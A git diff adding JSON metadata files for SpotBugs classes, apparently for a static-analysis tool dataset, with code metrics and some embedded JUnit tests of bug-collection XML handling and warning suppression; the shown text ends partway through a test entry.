Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PluginException.json new file mode 100644 index 0000000..843244f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PluginException.json @@ -0,0 +1,13 @@ +{ + "name": "PluginException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 53, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PluginLoader.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PluginLoader.json new file mode 100644 index 0000000..34313e7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PluginLoader.json @@ -0,0 +1,13 @@ +{ + "name": "PluginLoader", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1623, + "branches": 241, + "apis": 373, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PrintingBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PrintingBugReporter.json new file mode 100644 index 0000000..01749fd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PrintingBugReporter.json @@ -0,0 +1,13 @@ +{ + "name": "PrintingBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 249, + "branches": 34, + "apis": 64, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Priorities.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Priorities.json new file mode 100644 index 0000000..a3359ad --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Priorities.json @@ -0,0 +1,13 @@ +{ + "name": "Priorities", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 7, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ProgramPoint.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ProgramPoint.json new file mode 100644 index 0000000..10a8cbb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ProgramPoint.json @@ -0,0 +1,13 @@ +{ + "name": "ProgramPoint", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 88, + "branches": 8, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Project.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Project.json new file mode 100644 index 0000000..77720a8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Project.json @@ -0,0 +1,13 @@ +{ + "name": "Project", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1128, + "branches": 98, + "apis": 158, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ProjectPackagePrefixes.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ProjectPackagePrefixes.json new file mode 100644 index 0000000..baf186d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ProjectPackagePrefixes.json @@ -0,0 +1,13 @@ +{ + "name": "ProjectPackagePrefixes", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 231, + "branches": 30, + "apis": 56, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ProjectStats.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ProjectStats.json new file mode 100644 index 0000000..ea5d602 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ProjectStats.json @@ -0,0 +1,13 @@ +{ + "name": "ProjectStats", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 621, + "branches": 64, + "apis": 129, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PropertyBundle.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PropertyBundle.json new file mode 100644 index 0000000..269b9cb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PropertyBundle.json @@ -0,0 +1,13 @@ +{ + "name": "PropertyBundle", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 236, + "branches": 26, + "apis": 23, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/RecursiveFileSearch.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/RecursiveFileSearch.json new file mode 100644 index 0000000..7353526 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/RecursiveFileSearch.json @@ -0,0 +1,13 @@ +{ + "name": "RecursiveFileSearch", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 141, + "branches": 13, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ResourceCollection.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ResourceCollection.json new file mode 100644 index 0000000..e0995b1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ResourceCollection.json @@ -0,0 +1,13 @@ +{ + "name": "ResourceCollection", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 4, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ResourceCreationPoint.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ResourceCreationPoint.json new file mode 100644 index 0000000..f7a07c9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ResourceCreationPoint.json @@ -0,0 +1,13 @@ +{ + "name": "ResourceCreationPoint", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ResourceTrackingDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ResourceTrackingDetector.json new file mode 100644 index 0000000..8e48d1e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ResourceTrackingDetector.json @@ -0,0 +1,13 @@ +{ + "name": "ResourceTrackingDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 201, + "branches": 19, + "apis": 38, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SAXBugCollectionHandler.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SAXBugCollectionHandler.json new file mode 100644 index 0000000..1c27e11 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SAXBugCollectionHandler.json @@ -0,0 +1,59 @@ +{ + "name": "SAXBugCollectionHandler", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 807, + "branches": 142, + "apis": 200, + "test": [ + { + "description": "testBugInstanceXmlPropsNoReviews", + "expected-problems": null, + "expected-linenumbers": [ + 33, + 64 + ], + "code": "@Test\n void testBugInstanceXmlPropsNoReviews() throws Exception {\n SortedBugCollection bc = new SortedBugCollection();\n bc.readXML(new StringReader(\n \"\"\n + \" \"\n + \" Field is a mutable array\"\n + \" org.apache.bcel.Const.ACCESS_NAMES is a mutable array\"\n + \" \"\n + \" \"\n + \" At Const.java:[lines 210-1443]\"\n + \" \"\n + \" In class org.apache.bcel.Constants\"\n + \" \"\n + \" \"\n + \" \"\n + \" In Const.java\"\n + \" \"\n + \" Field org.apache.bcel.Const.ACCESS_NAMES\"\n + \" \"\n + \" \"\n + \" At Const.java:[line 210]\"\n + \" \"\n + \" \"\n + \"\"));\n assertEquals(1, bc.getCollection().size());\n assertEquals(\"edu.umd.cs.findbugs.plugins.core\", DetectorFactoryCollection.instance().getCorePlugin().getPluginId());\n BugInstance bug = bc.getCollection().iterator().next();\n assertEquals(\"MS_MUTABLE_ARRAY\", bug.getBugPattern().getType());\n assertEquals(\"1acc5c5b9b7ab9efacede805afe1e53a\", bug.getInstanceHash());\n assertEquals(16, bug.getBugRank());\n }" + }, + { + "description": "testBugInstanceXmlPropsWithReviews", + "expected-problems": null, + "expected-linenumbers": [ + 66, + 96 + ], + "code": "@Test\n void testBugInstanceXmlPropsWithReviews() throws Exception {\n SortedBugCollection bc = new SortedBugCollection();\n bc.readXML(new StringReader(\n \"\"\n + \" \"\n + \" Field is a mutable array\"\n + \" org.apache.bcel.Const.ACCESS_NAMES is a mutable array\"\n + \" \"\n + \" \"\n + \" At Const.java:[lines 210-1443]\"\n + \" \"\n + \" In class org.apache.bcel.Constants\"\n + \" \"\n + \" \"\n + \" \"\n + \" In Const.java\"\n + \" \"\n + \" Field org.apache.bcel.Const.ACCESS_NAMES\"\n + \" \"\n + \" \"\n + \" At Const.java:[line 210]\"\n + \" \"\n + \" \"\n + \"\"));\n assertEquals(1, bc.getCollection().size());\n BugInstance bug = bc.getCollection().iterator().next();\n assertEquals(\"MS_MUTABLE_ARRAY\", bug.getBugPattern().getType());\n assertEquals(\"1acc5c5b9b7ab9efacede805afe1e53a\", bug.getInstanceHash());\n assertEquals(16, bug.getBugRank());\n }" + }, + { + "description": "testBugInstanceXmlPropsWithReviewsShouldFix", + "expected-problems": null, + "expected-linenumbers": [ + 98, + 128 + ], + "code": "@Test\n void testBugInstanceXmlPropsWithReviewsShouldFix() throws Exception {\n SortedBugCollection bc = new SortedBugCollection();\n bc.readXML(new StringReader(\n \"\"\n + \" \"\n + \" Field is a mutable array\"\n + \" org.apache.bcel.Const.ACCESS_NAMES is a mutable array\"\n + \" \"\n + \" \"\n + \" At Const.java:[lines 210-1443]\"\n + \" \"\n + \" In class org.apache.bcel.Constants\"\n + \" \"\n + \" \"\n + \" \"\n + \" In Const.java\"\n + \" \"\n + \" Field org.apache.bcel.Const.ACCESS_NAMES\"\n + \" \"\n + \" \"\n + \" At Const.java:[line 210]\"\n + \" \"\n + \" \"\n + \"\"));\n assertEquals(1, bc.getCollection().size());\n BugInstance bug = bc.getCollection().iterator().next();\n assertEquals(\"MS_MUTABLE_ARRAY\", bug.getBugPattern().getType());\n assertEquals(\"1acc5c5b9b7ab9efacede805afe1e53a\", bug.getInstanceHash());\n assertEquals(16, bug.getBugRank());\n }" + }, + { + "description": "testReadAndThenStoreXmlProps", + "expected-problems": null, + "expected-linenumbers": [ + 130, + 170 + ], + "code": "@Test\n void testReadAndThenStoreXmlProps() throws Exception {\n SortedBugCollection origBC = new SortedBugCollection();\n // read it in\n origBC.readXML(new StringReader(\n \"\"\n + \" \"\n + \" Field is a mutable array\"\n + \" org.apache.bcel.Const.ACCESS_NAMES is a mutable array\"\n + \" \"\n + \" \"\n + \" At Const.java:[lines 210-1443]\"\n + \" \"\n + \" In class org.apache.bcel.Constants\"\n + \" \"\n + \" \"\n + \" \"\n + \" In Const.java\"\n + \" \"\n + \" Field org.apache.bcel.Const.ACCESS_NAMES\"\n + \" \"\n + \" \"\n + \" At Const.java:[line 210]\"\n + \" \"\n + \" \"\n + \"\"));\n // write it out\n ByteArrayOutputStream outBytes = new ByteArrayOutputStream();\n origBC.writeXML(outBytes);\n\n // read it back in\n SortedBugCollection bc = new SortedBugCollection();\n bc.readXML(new StringReader(new String(outBytes.toByteArray(), StandardCharsets.UTF_8)));\n\n // check it\n assertEquals(1, bc.getCollection().size());\n BugInstance bug = bc.getCollection().iterator().next();\n assertEquals(\"MS_MUTABLE_ARRAY\", bug.getBugPattern().getType());\n assertEquals(\"1acc5c5b9b7ab9efacede805afe1e53a\", bug.getInstanceHash());\n assertEquals(16, bug.getBugRank());\n }" + }, + { + "description": "testReadAndThenStoreJasAttribute", + "expected-problems": null, + "expected-linenumbers": [ + 172, + 207 + ], + "code": "@Test\n void testReadAndThenStoreJasAttribute() throws Exception {\n SortedBugCollection origBC = new SortedBugCollection();\n // read it in\n origBC.readXML(new StringReader(\n \"\"\n + \"\\n\"\n + \" \\n\"\n + \" \\n\"\n + \" \\n\"\n + \" \\n\"\n + \" \\n\"\n + \" \\n\"\n + \" \\n\"\n + \"\\n\"\n + \"\"));\n // write it out\n ByteArrayOutputStream outBytes = new ByteArrayOutputStream();\n origBC.writeXML(outBytes);\n\n // read it back in\n SortedBugCollection bc = new SortedBugCollection();\n bc.readXML(new StringReader(new String(outBytes.toByteArray(), StandardCharsets.UTF_8)));\n\n // check it\n assertEquals(1, bc.getCollection().size());\n BugInstance bug = bc.getCollection().iterator().next();\n assertEquals(\"UUF_UNUSED_FIELD\", bug.getBugPattern().getType());\n assertEquals(3, bug.getAnnotations().size());\n for (BugAnnotation annotation : bug.getAnnotations()) {\n assertTrue(annotation instanceof PackageMemberAnnotation);\n List javaAnnotationNames = ((PackageMemberAnnotation) annotation).getJavaAnnotationNames();\n assertEquals(1, javaAnnotationNames.size());\n assertEquals(\"org.immutables.value.Generated\", javaAnnotationNames.get(0));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SelfCalls.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SelfCalls.json new file mode 100644 index 0000000..e521c0d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SelfCalls.json @@ -0,0 +1,13 @@ +{ + "name": "SelfCalls", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 236, + "branches": 27, + "apis": 41, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ShowHelp.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ShowHelp.json new file mode 100644 index 0000000..c85bcd4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ShowHelp.json @@ -0,0 +1,13 @@ +{ + "name": "ShowHelp", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 4, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SloppyBugComparator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SloppyBugComparator.json new file mode 100644 index 0000000..b1fa4b4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SloppyBugComparator.json @@ -0,0 +1,13 @@ +{ + "name": "SloppyBugComparator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 168, + "branches": 20, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SortedBugCollection.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SortedBugCollection.json new file mode 100644 index 0000000..9a09d42 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SortedBugCollection.json @@ -0,0 +1,23 @@ +{ + "name": "SortedBugCollection", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1309, + "branches": 114, + "apis": 232, + "test": [ + { + "description": "addBugInstanceTwiceShallNotIncreaseProjectStats", + "expected-problems": null, + "expected-linenumbers": [ + 10, + 21 + ], + "code": "@Test\n void addBugInstanceTwiceShallNotIncreaseProjectStats() {\n BugCollection bc = new SortedBugCollection();\n BugInstance bug = new BugInstance(\"TEST\", Priorities.NORMAL_PRIORITY);\n ClassNode classNode = new ClassNode();\n classNode.visit(1, 2, \"Test\", null, null, null);\n bug.addClass(classNode);\n bc.add(bug);\n assertEquals(1, bc.getProjectStats().getTotalBugs());\n bc.add(bug);\n assertEquals(1, bc.getProjectStats().getTotalBugs());\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SortingBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SortingBugReporter.json new file mode 100644 index 0000000..9a31519 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SortingBugReporter.json @@ -0,0 +1,13 @@ +{ + "name": "SortingBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 4, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SourceLineAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SourceLineAnnotation.json new file mode 100644 index 0000000..94e1a57 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SourceLineAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "SourceLineAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1073, + "branches": 111, + "apis": 171, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StackMapAnalyzer.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StackMapAnalyzer.json new file mode 100644 index 0000000..b60d2f2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StackMapAnalyzer.json @@ -0,0 +1,13 @@ +{ + "name": "StackMapAnalyzer", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 274, + "branches": 47, + "apis": 68, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StartTime.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StartTime.json new file mode 100644 index 0000000..2b72ced --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StartTime.json @@ -0,0 +1,13 @@ +{ + "name": "StartTime", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 46, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StatelessDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StatelessDetector.json new file mode 100644 index 0000000..e41cc6c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StatelessDetector.json @@ -0,0 +1,13 @@ +{ + "name": "StatelessDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 38, + "branches": 5, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StringAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StringAnnotation.json new file mode 100644 index 0000000..5e6cd87 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StringAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "StringAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 187, + "branches": 8, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SuppressionMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SuppressionMatcher.json new file mode 100644 index 0000000..03fd01e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SuppressionMatcher.json @@ -0,0 +1,158 @@ +{ + "name": "SuppressionMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 9, + "apis": 21, + "test": [ + { + "description": "shouldMatchClassLevelSuppression", + "expected-problems": null, + "expected-linenumbers": [ + 42, + 51 + ], + "code": "@Test\n void shouldMatchClassLevelSuppression() {\n // given\n matcher.addSuppressor(new ClassWarningSuppressor(\"UUF_UNUSED_FIELD\", SuppressMatchType.DEFAULT, CLASS_ANNOTATION, true));\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 1).addClass(CLASS_NAME);\n // when\n boolean matched = matcher.match(bug);\n // then\n assertThat(\"Should match the bug\", matched, is(true));\n }" + }, + { + "description": "shouldMatchPackageLevelSuppressor", + "expected-problems": null, + "expected-linenumbers": [ + 53, + 62 + ], + "code": "@Test\n void shouldMatchPackageLevelSuppressor() {\n // given\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 1).addClass(CLASS_NAME);\n matcher.addPackageSuppressor(new PackageWarningSuppressor(\"UUF_UNUSED_FIELD\", SuppressMatchType.DEFAULT, PACKAGE_NAME, true));\n // when\n boolean matched = matcher.match(bug);\n // then\n assertThat(\"Should match the bug\", matched, is(true));\n }" + }, + { + "description": "shouldMatchMethodLevelSuppressor", + "expected-problems": null, + "expected-linenumbers": [ + 64, + 74 + ], + "code": "@Test\n void shouldMatchMethodLevelSuppressor() {\n // given\n MethodAnnotation method = new MethodAnnotation(CLASS_NAME, \"test\", \"bool test()\", false);\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 1).addClass(CLASS_NAME).addMethod(method);\n matcher.addSuppressor(new MethodWarningSuppressor(\"UUF_UNUSED_FIELD\", SuppressMatchType.DEFAULT, CLASS_ANNOTATION, method, true, true));\n // when\n boolean matched = matcher.match(bug);\n // then\n assertThat(\"Should match the bug\", matched, is(true));\n }" + }, + { + "description": "shouldMatchParameterLevelSuppressor", + "expected-problems": null, + "expected-linenumbers": [ + 76, + 88 + ], + "code": "@Test\n void shouldMatchParameterLevelSuppressor() {\n // given\n MethodAnnotation method = new MethodAnnotation(CLASS_NAME, \"test\", \"bool test()\", false);\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 1)\n .addClass(CLASS_NAME).addMethod(method)\n .addAnnotations(Collections.singletonList(new LocalVariableAnnotation(\"?\", 2, 0, 0)));\n matcher.addSuppressor(new ParameterWarningSuppressor(\"UUF_UNUSED_FIELD\", SuppressMatchType.DEFAULT, CLASS_ANNOTATION, method, 2, true));\n // when\n boolean matched = matcher.match(bug);\n // then\n assertThat(\"Should match the bug\", matched, is(true));\n }" + }, + { + "description": "shouldMatchFieldLevelSuppressor", + "expected-problems": null, + "expected-linenumbers": [ + 90, + 100 + ], + "code": "@Test\n void shouldMatchFieldLevelSuppressor() {\n // given\n FieldAnnotation field = new FieldAnnotation(CLASS_NAME, \"test\", \"bool test\", false);\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 1).addClass(CLASS_NAME).addField(field);\n matcher.addSuppressor(new FieldWarningSuppressor(\"UUF_UNUSED_FIELD\", SuppressMatchType.DEFAULT, CLASS_ANNOTATION, field, true, true));\n // when\n boolean matched = matcher.match(bug);\n // then\n assertThat(\"Should match the bug\", matched, is(true));\n }" + }, + { + "description": "shouldNotMatchBugsWithDifferentType", + "expected-problems": null, + "expected-linenumbers": [ + 102, + 111 + ], + "code": "@Test\n void shouldNotMatchBugsWithDifferentType() {\n // given\n matcher.addSuppressor(new ClassWarningSuppressor(\"UUF_UNUSED_FIELD\", SuppressMatchType.DEFAULT, CLASS_ANNOTATION, true));\n BugInstance bug = new BugInstance(\"UWF_NULL_FIELD\", 1).addClass(CLASS_NAME);\n // when\n boolean matched = matcher.match(bug);\n // then\n assertThat(\"Should not match the bug\", matched, is(false));\n }" + }, + { + "description": "shouldNotBreakOnMissingPrimaryClass", + "expected-problems": null, + "expected-linenumbers": [ + 113, + 122 + ], + "code": "@Test\n void shouldNotBreakOnMissingPrimaryClass() {\n // given\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 1);\n matcher.addSuppressor(new ClassWarningSuppressor(\"UUF_UNUSED_FIELD\", SuppressMatchType.DEFAULT, CLASS_ANNOTATION, true));\n // when\n boolean matched = matcher.match(bug);\n // then\n assertThat(\"Should not match the bug\", matched, is(false));\n }" + }, + { + "description": "shouldMatchFieldSuppressorBeforeClass", + "expected-problems": null, + "expected-linenumbers": [ + 124, + 137 + ], + "code": "@Test\n void shouldMatchFieldSuppressorBeforeClass() {\n // given\n FieldAnnotation field = new FieldAnnotation(CLASS_NAME, \"test\", \"bool test\", false);\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 1).addClass(CLASS_NAME).addField(field);\n matcher.addSuppressor(new FieldWarningSuppressor(\"UUF_UNUSED_FIELD\", SuppressMatchType.DEFAULT, CLASS_ANNOTATION, field, true, true));\n matcher.addSuppressor(new ClassWarningSuppressor(\"UUF_UNUSED_FIELD\", SuppressMatchType.DEFAULT, CLASS_ANNOTATION, true));\n // when\n matcher.match(bug);\n matcher.validateSuppressionUsage(bugReporter, new UselessSuppressionDetector());\n // then\n verify(bugReporter).reportBug(bugCaptor.capture());\n assertThat(\"Bug type\", bugCaptor.getValue().getBugPattern().getType(), startsWith(\"US_USELESS_SUPPRESSION_ON_CLASS\"));\n }" + }, + { + "description": "shouldReportUselessSuppressor", + "expected-problems": null, + "expected-linenumbers": [ + 139, + 151 + ], + "code": "@Test\n void shouldReportUselessSuppressor() {\n // given\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 1).addClass(CLASS_NAME);\n matcher.addSuppressor(new ClassWarningSuppressor(\"UUF_UNUSED_FIELD\", SuppressMatchType.DEFAULT, CLASS_ANNOTATION, true));\n matcher.addSuppressor(new ClassWarningSuppressor(\"UWF_NULL_FIELD\", SuppressMatchType.DEFAULT, CLASS_ANNOTATION, true));\n // when\n matcher.match(bug);\n matcher.validateSuppressionUsage(bugReporter, new UselessSuppressionDetector());\n // then\n verify(bugReporter).reportBug(bugCaptor.capture());\n assertThat(\"Bug type\", bugCaptor.getValue().getBugPattern().getType(), startsWith(\"US_USELESS_SUPPRESSION\"));\n }" + }, + { + "description": "uselessSuppressionOnClassMessage", + "expected-problems": null, + "expected-linenumbers": [ + 153, + 159 + ], + "code": "@Test\n void uselessSuppressionOnClassMessage() {\n ClassWarningSuppressor suppressor = new ClassWarningSuppressor(\"XYZ\", SuppressMatchType.DEFAULT, new ClassAnnotation(\"java.lang.String\"),\n true);\n BugInstance bugInstance = suppressor.buildUselessSuppressionBugInstance(new UselessSuppressionDetector());\n assertThat(\"Message\", bugInstance.getMessage(), is(\"US: Suppressing annotation XYZ on the class java.lang.String is unnecessary\"));\n }" + }, + { + "description": "uselessSuppressionOnFieldMessage", + "expected-problems": null, + "expected-linenumbers": [ + 161, + 171 + ], + "code": "@Test\n void uselessSuppressionOnFieldMessage() {\n FieldWarningSuppressor suppressor = new FieldWarningSuppressor(\"XYZ\",\n SuppressMatchType.DEFAULT, new ClassAnnotation(\"java.lang.String\"),\n new FieldAnnotation(\"java.lang.String\", \"test\", \"test\", false),\n true,\n true);\n\n BugInstance bugInstance = suppressor.buildUselessSuppressionBugInstance(new UselessSuppressionDetector());\n assertThat(\"Message\", bugInstance.getMessage(), is(\"US: Suppressing annotation XYZ on the field java.lang.String.test is unnecessary\"));\n }" + }, + { + "description": "uselessSuppressionOnMethodMessage", + "expected-problems": null, + "expected-linenumbers": [ + 173, + 183 + ], + "code": "@Test\n void uselessSuppressionOnMethodMessage() {\n MethodWarningSuppressor suppressor = new MethodWarningSuppressor(\"XYZ\",\n SuppressMatchType.DEFAULT, new ClassAnnotation(\"java.lang.String\"),\n new MethodAnnotation(\"java.lang.String\", \"test\", \"()Ljava/lang/Object;)\", false),\n true,\n true);\n\n BugInstance bugInstance = suppressor.buildUselessSuppressionBugInstance(new UselessSuppressionDetector());\n assertThat(\"Message\", bugInstance.getMessage(), is(\"US: Suppressing annotation XYZ on the method String.test() is unnecessary\"));\n }" + }, + { + "description": "uselessSuppressionOnMethodParameterMessage", + "expected-problems": null, + "expected-linenumbers": [ + 185, + 196 + ], + "code": "@Test\n void uselessSuppressionOnMethodParameterMessage() {\n ParameterWarningSuppressor suppressor = new ParameterWarningSuppressor(\"XYZ\",\n SuppressMatchType.DEFAULT, new ClassAnnotation(\"java.lang.String\"),\n new MethodAnnotation(\"java.lang.String\", \"bar\", \"()Ljava/lang/Object;)\", false),\n 0,\n true);\n\n BugInstance bugInstance = suppressor.buildUselessSuppressionBugInstance(new UselessSuppressionDetector());\n assertThat(\"Message\", bugInstance.getMessage(), is(\n \"US: Suppressing annotation XYZ on the parameter 1 of the method String.bar() is unnecessary\"));\n }" + }, + { + "description": "uselessSuppressionOnPackageMessage", + "expected-problems": null, + "expected-linenumbers": [ + 198, + 203 + ], + "code": "@Test\n void uselessSuppressionOnPackageMessage() {\n PackageWarningSuppressor suppressor = new PackageWarningSuppressor(\"XYZ\", 